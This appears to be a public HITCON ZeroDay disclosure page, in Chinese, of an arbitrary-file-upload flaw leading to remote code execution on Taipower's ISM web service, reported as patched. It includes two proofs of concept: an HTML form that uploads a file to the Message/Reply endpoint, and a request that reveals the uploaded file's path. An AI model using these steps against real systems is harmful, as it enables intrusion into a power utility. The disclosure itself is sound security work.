Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00173
- Vendor: 台灣電力公司
- Title: [Bounty] 台灣電力公司 RCE
- Introduction: IDOR->RCE
處理狀態
目前狀態
公開
Last Update : 2022/04/17
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/02/26 20:42:22 : 新提交 (由 Hzllaga 更新此狀態)
- 2022/02/26 20:48:04 : 新提交 (由 Hzllaga 更新此狀態)
- 2022/02/26 21:06:24 : 新提交 (由 Hzllaga 更新此狀態)
- 2022/03/01 10:44:27 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/13 13:39:53 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/13 14:07:47 : 確認已修補 (由 Hzllaga 更新此狀態)
- 2022/04/17 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00173
- 通報者:haihai (Hzllaga)
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ism.taipower.com.tw/Message/Reply
https://ism.taipower.com.tw/Message/GetMsgListStr
https://ism.taipower.com.tw/MessageQry/Reply
https://ism.taipower.com.tw/MessageQry/GetMsgListStr
https://ism.taipower.com.tw/Message/GetMsgListStr
https://ism.taipower.com.tw/MessageQry/Reply
https://ism.taipower.com.tw/MessageQry/GetMsgListStr
敘述
通過字典列舉,發現許多控制器可以直接被訪問
其中Message控制器的原始碼包含上傳的功能,通過幾小時的研究,發現可以透過回覆留言的方法上傳,並呼叫查看內文的API來找到上傳後的路徑
PoC1:
<form action="https://ism.taipower.com.tw/Message/Reply" method="post" enctype="multipart/form-data">
<input type="text" name="txtmsg_location" value="zxc">
<input type="text" name="txtmsg_replycontent" value="zxc">
<input type="text" name="hdmsgid" value="48800">
<input type="file" name="uploadsreply">
<input type="submit" name="submit">
</form>
PoC2:
POST /Message/GetMsgListStr HTTP/2
Host: ism.taipower.com.tw
Content-Type: application/json
Content-Length: 17
{"msgid":"48800"}
後來聽說Message控制器跟同事重複了,Fuzzing出另一個控制器存在一樣問題:
https://ism.taipower.com.tw/MessageQry/Reply
https://ism.taipower.com.tw/MessageQry/GetMsgListStr
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。